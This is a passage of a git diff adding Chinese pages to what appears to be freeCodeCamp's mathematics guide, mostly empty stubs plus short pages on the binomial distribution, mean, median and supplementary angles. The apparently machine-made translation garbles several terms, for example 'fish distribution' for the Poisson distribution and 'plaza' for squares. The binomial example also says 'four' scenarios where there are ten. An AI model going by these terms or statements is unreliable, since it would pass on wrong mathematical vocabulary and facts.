+++ b/client/src/guide/chinese/mathematics/spherical-coordinates/index.md
@@ -0,0 +1,11 @@
+---
+title: Spherical Coordinates
+localeTitle: 球面坐标
+---
+## 球面坐标
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/spherical-coordinates/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/squares-and-square-roots/index.md b/client/src/guide/chinese/mathematics/squares-and-square-roots/index.md
new file mode 100644
index 0000000000..c2ee5303e8
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/squares-and-square-roots/index.md
@@ -0,0 +1,11 @@
+---
+title: Squares and Square Roots
+localeTitle: 广场和广场根
+---
+## 广场和广场根
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/squares-and-square-roots/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/standard-deviation-and-variance/index.md b/client/src/guide/chinese/mathematics/standard-deviation-and-variance/index.md
new file mode 100644
index 0000000000..b8a0fc5de6
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/standard-deviation-and-variance/index.md
@@ -0,0 +1,11 @@
+---
+title: Standard Deviation and Variance
+localeTitle: 标准偏差和方差
+---
+## 标准偏差和方差
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/standard-deviation-and-variance/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/standard-deviation-formulas/index.md b/client/src/guide/chinese/mathematics/standard-deviation-formulas/index.md
new file mode 100644
index 0000000000..416ced42e9
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/standard-deviation-formulas/index.md
@@ -0,0 +1,11 @@
+---
+title: Standard Deviation Formulas
+localeTitle: 标准偏差公式
+---
+## 标准偏差公式
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/standard-deviation-formulas/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/standard-deviation/index.md b/client/src/guide/chinese/mathematics/standard-deviation/index.md
new file mode 100644
index 0000000000..bf44977f4a
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/standard-deviation/index.md
@@ -0,0 +1,11 @@
+---
+title: Standard Deviation
+localeTitle: 标准偏差
+---
+## 标准偏差
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/standard-deviation/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/standard-form/index.md b/client/src/guide/chinese/mathematics/standard-form/index.md
new file mode 100644
index 0000000000..d4a7022821
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/standard-form/index.md
@@ -0,0 +1,11 @@
+---
+title: Standard Form
+localeTitle: 标准格式
+---
+## 标准格式
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/standard-form/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/standard-normal-distribution-table/index.md b/client/src/guide/chinese/mathematics/standard-normal-distribution-table/index.md
new file mode 100644
index 0000000000..6723814f57
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/standard-normal-distribution-table/index.md
@@ -0,0 +1,11 @@
+---
+title: Standard Normal Distribution Table
+localeTitle: 标准正态分布表
+---
+## 标准正态分布表
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/standard-normal-distribution-table/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/statistics/analysis-of-variance/index.md b/client/src/guide/chinese/mathematics/statistics/analysis-of-variance/index.md
new file mode 100644
index 0000000000..b01064987b
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/statistics/analysis-of-variance/index.md
@@ -0,0 +1,11 @@
+---
+title: Analysis of Variance
+localeTitle: 方差分析
+---
+## 方差分析
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/statistics/analysis-of-variance/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/statistics/bayes-theorem/index.md b/client/src/guide/chinese/mathematics/statistics/bayes-theorem/index.md
new file mode 100644
index 0000000000..c3a00e2188
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/statistics/bayes-theorem/index.md
@@ -0,0 +1,11 @@
+---
+title: Bayes Theorem
+localeTitle: 贝叶斯定理
+---
+## 贝叶斯定理
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/statistics/bayes-theorem/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/statistics/bayesian-statistics/index.md b/client/src/guide/chinese/mathematics/statistics/bayesian-statistics/index.md
new file mode 100644
index 0000000000..f1e1386451
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/statistics/bayesian-statistics/index.md
@@ -0,0 +1,11 @@
+---
+title: Bayesian Statistics
+localeTitle: 贝叶斯统计
+---
+## 贝叶斯统计
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/statistics/bayesian-statistics/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/statistics/binomial-distribution/index.md b/client/src/guide/chinese/mathematics/statistics/binomial-distribution/index.md
new file mode 100644
index 0000000000..daf6aa17df
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/statistics/binomial-distribution/index.md
@@ -0,0 +1,62 @@
+---
+title: Binomial Distribution
+localeTitle: 二项分布
+---
+## 二项分布
+
+二项分布描述了在具有成功概率`p` `n`独立伯努利试验中具有恰好`k`成功的概率。
+
+在我们使用binomail发布之前，必须满足四个条件。
+
+1.  审判是独立的。
+2.  试验次数`n`是固定的。
+3.  每个试验结果可分为成功或失败。
+4.  成功的概率`p`对于每个试验是相同的。
+
+### 例
+
+考虑一次抛硬币10次的实验。让“负责人”的结果成功，“尾巴”的结果就是失败。
+
+1.  扔硬币是实验的一个试验，每次我们掷硬币时，获得的结果与任何其他试验的结果无关。
+2.  我们把硬币扔了10次（固定值为`n` ）。
+3.  我们决定将“Heads”视为成功，将“Tails”视为失败。
+4.  用公平硬币获得头部的概率是0.5，并且在每次试验中都是相同的。
+
+满足所有四个条件，因此，我们可以使用二项分布对该实验进行建模。
+
+让我们找到一次获得Heads exacty的概率，即1次成功。
+
+有10个投掷，任何一个都可能导致Heads的结果，并且这10个场景中的每一个具有相同的概率。因此，最终概率可写为： `[# Number of Scenarios] x P(single scenario)`
+
+上述等式的第一个分量是在`n = 10`试验中排列`k = 1`成功的方式的数量。第二个组成部分是四个（同样可能的）情景中任何一个的概率。
+
+考虑`P(Single Scenario)`在`k`成功的一般情况下和`n`试验中的`n - k`失败。要查找值，请对独立事件使用乘法规则：
+
+![](https://i.imgur.com/YXzUPiB.png)
+
+从`n`试验中获得`k`成功的方法可以写成**n选择k** ：
+
+![](https://i.imgur.com/AQ3P4vi.png)
+
+因此，在`n`独立试验中获得准确观察`k`成功概率的通式如下：
+
+![](https://i.imgur.com/ZErXKtQ.png)
+
+因此，在试验中获得正好一个头的概率是：
+
+![](https://i.imgur.com/fN5wOH2.png)
+
+### 均值和方差
+
+具有`n`试验的二项分布的均值，其中`p`是成功的概率，由下式给出：
+
+![](https://i.imgur.com/4ji7JXx.png)
+
+和方差：
+
+![](https://i.imgur.com/1tPHKHj.png)
+
+#### 更多信息：
+
+*   [OpenIntro Statistics第3版（第3章 - 第145页）](https://www.openintro.org/stat/textbook.php?stat_book=os)
+*   [推导二项分布的均值和方差](https://www.youtube.com/watch?v=8fqkQRjcR1M)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/statistics/exponential-distribution/index.md b/client/src/guide/chinese/mathematics/statistics/exponential-distribution/index.md
new file mode 100644
index 0000000000..6d8f23d7bf
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/statistics/exponential-distribution/index.md
@@ -0,0 +1,11 @@
+---
+title: Exponential Distribution
+localeTitle: 指数分布
+---
+## 指数分布
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/statistics/exponential-distribution/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/statistics/how-to-calculate-percentiles/index.md b/client/src/guide/chinese/mathematics/statistics/how-to-calculate-percentiles/index.md
new file mode 100644
index 0000000000..fce04084d6
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/statistics/how-to-calculate-percentiles/index.md
@@ -0,0 +1,11 @@
+---
+title: How to Calculate Percentiles
+localeTitle: 如何计算百分位数
+---
+## 如何计算百分位数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/statistics/how-to-calculate-percentiles/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/statistics/hypothesis/index.md b/client/src/guide/chinese/mathematics/statistics/hypothesis/index.md
new file mode 100644
index 0000000000..781c903ad0
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/statistics/hypothesis/index.md
@@ -0,0 +1,11 @@
+---
+title: Hypothesis
+localeTitle: 假设
+---
+## 假设
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/statistics/hypothesis/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/statistics/index.md b/client/src/guide/chinese/mathematics/statistics/index.md
new file mode 100644
index 0000000000..09281d5036
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/statistics/index.md
@@ -0,0 +1,11 @@
+---
+title: Statistics
+localeTitle: 统计
+---
+## 统计
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/statistics/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/statistics/k-means/index.md b/client/src/guide/chinese/mathematics/statistics/k-means/index.md
new file mode 100644
index 0000000000..a6c3bfb1e3
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/statistics/k-means/index.md
@@ -0,0 +1,11 @@
+---
+title: K Means
+localeTitle: K意味着
+---
+## K意味着
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/statistics/k-means/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/statistics/markov-chains/index.md b/client/src/guide/chinese/mathematics/statistics/markov-chains/index.md
new file mode 100644
index 0000000000..706d343d75
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/statistics/markov-chains/index.md
@@ -0,0 +1,11 @@
+---
+title: Markov Chains
+localeTitle: 马可夫链
+---
+## 马可夫链
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/statistics/markov-chains/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/statistics/mean/index.md b/client/src/guide/chinese/mathematics/statistics/mean/index.md
new file mode 100644
index 0000000000..efa8434669
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/statistics/mean/index.md
@@ -0,0 +1,41 @@
+---
+title: Mean
+localeTitle: 意思
+---
+## 意思
+
+最常见的集中趋势度量，或用于描述一组数字的值，是算术平均值或平均值。 要查找一组数字的均值（ _A_ ），可以将它们的值相加并除以值的数量（ _n_ ）。
+
+![平均公式](https://wikimedia.org/api/rest_v1/media/math/render/svg/90330653b40adf032ea8e144f84d7eec1a88054d)
+
+### 例子
+
+*   **1,4,5,2,3**
+    
+    （1 + 4 + 5 + 2 + 3）/ 5 = 3
+    
+*   **20,14,23**
+    
+    （20 + 14 + 23）/ 3 = 19
+    
+*   **\-12，-20，-16，-21**
+    
+    （-12，-20，-16，-21）/ 4 = -17.25 \\
+    
+
+平均值可以是描述一组数字的好方法。但是，重要的是要认识到，一个值远高于或低于其他值（在集合中称为异常值）可能导致均值不准确地表示数字集合。例如，如果你有一组主要由包含一个大数字的小数字组成的数字，那么平均值最终将大于大多数数字，不准确地将数字集描绘为高于实际数字。
+
+### 例子
+
+*   **2,7或-3,1,0,2,857**
+    
+    （2 + 7 +（ - 3）+ 1 + 0 + 2 + 857）/ 7 = 123.71
+    
+*   **1276,1141,1271,1053,1**
+    
+    （1276 + 1141 + 1271 + 1053 + 1）/ 5 = 948.4
+    
+
+#### 更多信息：
+
+*   ![Mean](http://www.purplemath.com/modules/meanmode.htm "意思")
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/statistics/median/index.md b/client/src/guide/chinese/mathematics/statistics/median/index.md
new file mode 100644
index 0000000000..ab95675b02
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/statistics/median/index.md
@@ -0,0 +1,21 @@
+---
+title: Median
+localeTitle: 中位数
+---
+## 中位数
+
+#### 定义：
+
+中位数是数据集集中趋势的度量之一。为了找到中值，我们按照从最小值到最大值的顺序排列观察值。如果存在奇数个观测值，则中位数为中间值。如果存在偶数个观测值，则中位数是两个中间值的（平均值）平均值。
+
+#### 例1：
+
+在数据集\[3,4,8,6,34,22,5\]中，为了找到中值，我们将该集合排序为\[3,4,5,6,8,22,34\]。中间值即6是中位数。
+
+#### 例1：
+
+在数据集\[3,4,8,6,22,5\]中，为了找到中值，我们将集合排序为\[3,4,5,6,8,22\]。平均值为5和6，即5.5是中位数。
+
+#### 更多信息：
+
+可在[此处](https://en.wikipedia.org/wiki/Median)找到更详细和严谨的评论
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/statistics/mode/index.md b/client/src/guide/chinese/mathematics/statistics/mode/index.md
new file mode 100644
index 0000000000..02b80d51a7
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/statistics/mode/index.md
@@ -0,0 +1,11 @@
+---
+title: Mode
+localeTitle: 模式
+---
+## 模式
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/statistics/mode/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/statistics/normal-distribution/index.md b/client/src/guide/chinese/mathematics/statistics/normal-distribution/index.md
new file mode 100644
index 0000000000..787d0d30c3
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/statistics/normal-distribution/index.md
@@ -0,0 +1,11 @@
+---
+title: Normal Distribution
+localeTitle: 正态分布
+---
+## 正态分布
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/statistics/normal-distribution/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/statistics/p-value/index.md b/client/src/guide/chinese/mathematics/statistics/p-value/index.md
new file mode 100644
index 0000000000..af1db2b967
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/statistics/p-value/index.md
@@ -0,0 +1,11 @@
+---
+title: P Value
+localeTitle: P值
+---
+## P值
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/statistics/p-value/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/statistics/poisson-distribution/index.md b/client/src/guide/chinese/mathematics/statistics/poisson-distribution/index.md
new file mode 100644
index 0000000000..5d0b47c4e0
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/statistics/poisson-distribution/index.md
@@ -0,0 +1,11 @@
+---
+title: Poisson Distribution
+localeTitle: 鱼类分布
+---
+## 泊松分布
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/statistics/poisson-distribution/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/statistics/probability-distribution/index.md b/client/src/guide/chinese/mathematics/statistics/probability-distribution/index.md
new file mode 100644
index 0000000000..6fe8e89daa
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/statistics/probability-distribution/index.md
@@ -0,0 +1,11 @@
+---
+title: Probability Distribution
+localeTitle: 概率分布
+---
+## 概率分布
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/statistics/probability-distribution/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/statistics/probability/index.md b/client/src/guide/chinese/mathematics/statistics/probability/index.md
new file mode 100644
index 0000000000..4249a6d141
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/statistics/probability/index.md
@@ -0,0 +1,11 @@
+---
+title: Probability
+localeTitle: 可能性
+---
+## 可能性
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/statistics/probability/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/statistics/random-sampling/index.md b/client/src/guide/chinese/mathematics/statistics/random-sampling/index.md
new file mode 100644
index 0000000000..4991a2a2a9
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/statistics/random-sampling/index.md
@@ -0,0 +1,11 @@
+---
+title: Random Sampling
+localeTitle: 随机抽样
+---
+## 随机抽样
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/statistics/random-sampling/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/statistics/range/index.md b/client/src/guide/chinese/mathematics/statistics/range/index.md
new file mode 100644
index 0000000000..d449656dfd
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/statistics/range/index.md
@@ -0,0 +1,11 @@
+---
+title: Range
+localeTitle: 范围
+---
+## 范围
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/statistics/range/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/statistics/regression/index.md b/client/src/guide/chinese/mathematics/statistics/regression/index.md
new file mode 100644
index 0000000000..defc9061db
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/statistics/regression/index.md
@@ -0,0 +1,11 @@
+---
+title: Regression
+localeTitle: 回归
+---
+## 回归
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/statistics/regression/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/statistics/standard-deviation/index.md b/client/src/guide/chinese/mathematics/statistics/standard-deviation/index.md
new file mode 100644
index 0000000000..49fbbea1d7
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/statistics/standard-deviation/index.md
@@ -0,0 +1,11 @@
+---
+title: Standard Deviation
+localeTitle: 标准偏差
+---
+## 标准偏差
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/statistics/standard-deviation/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/statistics/t-test/index.md b/client/src/guide/chinese/mathematics/statistics/t-test/index.md
new file mode 100644
index 0000000000..6e9d9ef810
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/statistics/t-test/index.md
@@ -0,0 +1,11 @@
+---
+title: T Test
+localeTitle: T测试
+---
+## T测试
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/statistics/t-test/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/statistics/variance/index.md b/client/src/guide/chinese/mathematics/statistics/variance/index.md
new file mode 100644
index 0000000000..06343c9900
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/statistics/variance/index.md
@@ -0,0 +1,11 @@
+---
+title: Variance
+localeTitle: 方差
+---
+## 方差
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/statistics/variance/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/straight-line-equations-point-slope-form/index.md b/client/src/guide/chinese/mathematics/straight-line-equations-point-slope-form/index.md
new file mode 100644
index 0000000000..c7c8eca27a
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/straight-line-equations-point-slope-form/index.md
@@ -0,0 +1,11 @@
+---
+title: Straight Line Equations Point Slope Form
+localeTitle: 直线方程点斜率形式
+---
+## 直线方程点斜率形式
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/straight-line-equations-point-slope-form/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/straight-line-equations-slope-intercept-form/index.md b/client/src/guide/chinese/mathematics/straight-line-equations-slope-intercept-form/index.md
new file mode 100644
index 0000000000..f6b2732efb
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/straight-line-equations-slope-intercept-form/index.md
@@ -0,0 +1,11 @@
+---
+title: Straight Line Equations Slope Intercept Form
+localeTitle: 直线方程斜率截距形式
+---
+## 直线方程斜率截距形式
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/straight-line-equations-slope-intercept-form/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/subtracting-fractions-with-unlike-denominators/index.md b/client/src/guide/chinese/mathematics/subtracting-fractions-with-unlike-denominators/index.md
new file mode 100644
index 0000000000..a10748c155
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/subtracting-fractions-with-unlike-denominators/index.md
@@ -0,0 +1,11 @@
+---
+title: Subtracting Fractions with Unlike Denominators
+localeTitle: 用不同的分母减去分数
+---
+## 用不同的分母减去分数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/subtracting-fractions-with-unlike-denominators/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/subtracting-fractions/index.md b/client/src/guide/chinese/mathematics/subtracting-fractions/index.md
new file mode 100644
index 0000000000..4791b77803
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/subtracting-fractions/index.md
@@ -0,0 +1,11 @@
+---
+title: Subtracting Fractions
+localeTitle: 减去分数
+---
+## 减去分数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/subtracting-fractions/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/sum-of-the-first-n-terms-of-a-series/index.md b/client/src/guide/chinese/mathematics/sum-of-the-first-n-terms-of-a-series/index.md
new file mode 100644
index 0000000000..056694afa3
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/sum-of-the-first-n-terms-of-a-series/index.md
@@ -0,0 +1,11 @@
+---
+title: Sum of the First N Terms of a Series
+localeTitle: 系列前N个术语的总和
+---
+## 系列前N个术语的总和
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/sum-of-the-first-n-terms-of-a-series/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/summation-notation-for-sums/index.md b/client/src/guide/chinese/mathematics/summation-notation-for-sums/index.md
new file mode 100644
index 0000000000..21f0166288
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/summation-notation-for-sums/index.md
@@ -0,0 +1,11 @@
+---
+title: Summation Notation for Sums
+localeTitle: 总和的求和表示法
+---
+## 总和的求和表示法
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/summation-notation-for-sums/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/supplementary-angles/index.md b/client/src/guide/chinese/mathematics/supplementary-angles/index.md
new file mode 100644
index 0000000000..febf329334
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/supplementary-angles/index.md
@@ -0,0 +1,19 @@
+---
+title: Supplementary Angles
+localeTitle: 补充角度
+---
+## 补充角度
+
+总计180°的两个角度称为补角。
+
+![图像显示两个角度，一个是120度，另一个是60度](https://raw.githubusercontent.com/pranabendra/articles/master/Supplementary-angles/images/sup1.png)
+
+补充角度不必彼此相邻，只要总长度为180°即可。这是一个例子：
+
+![平行线a和b与线t通过它们，创建8个角度](https://raw.githubusercontent.com/pranabendra/articles/master/Supplementary-angles/images/sup2.png)
+
+当`a`与`b`平行时， **角度** “ `3` ”和“ `6` ”总和达180°。因此，它们是补充角度。
+
+### 更多信息：
+
+*   补充角度文章： [校队辅导员](https://www.varsitytutors.com/hotmath/hotmath_help/topics/supplementary-angles)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/surface-area-of-a-cone/index.md b/client/src/guide/chinese/mathematics/surface-area-of-a-cone/index.md
new file mode 100644
index 0000000000..81a50629fa
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/surface-area-of-a-cone/index.md
@@ -0,0 +1,11 @@
+---
+title: Surface Area of a Cone
+localeTitle: 锥体的表面积
+---
+## 锥体的表面积
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/surface-area-of-a-cone/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
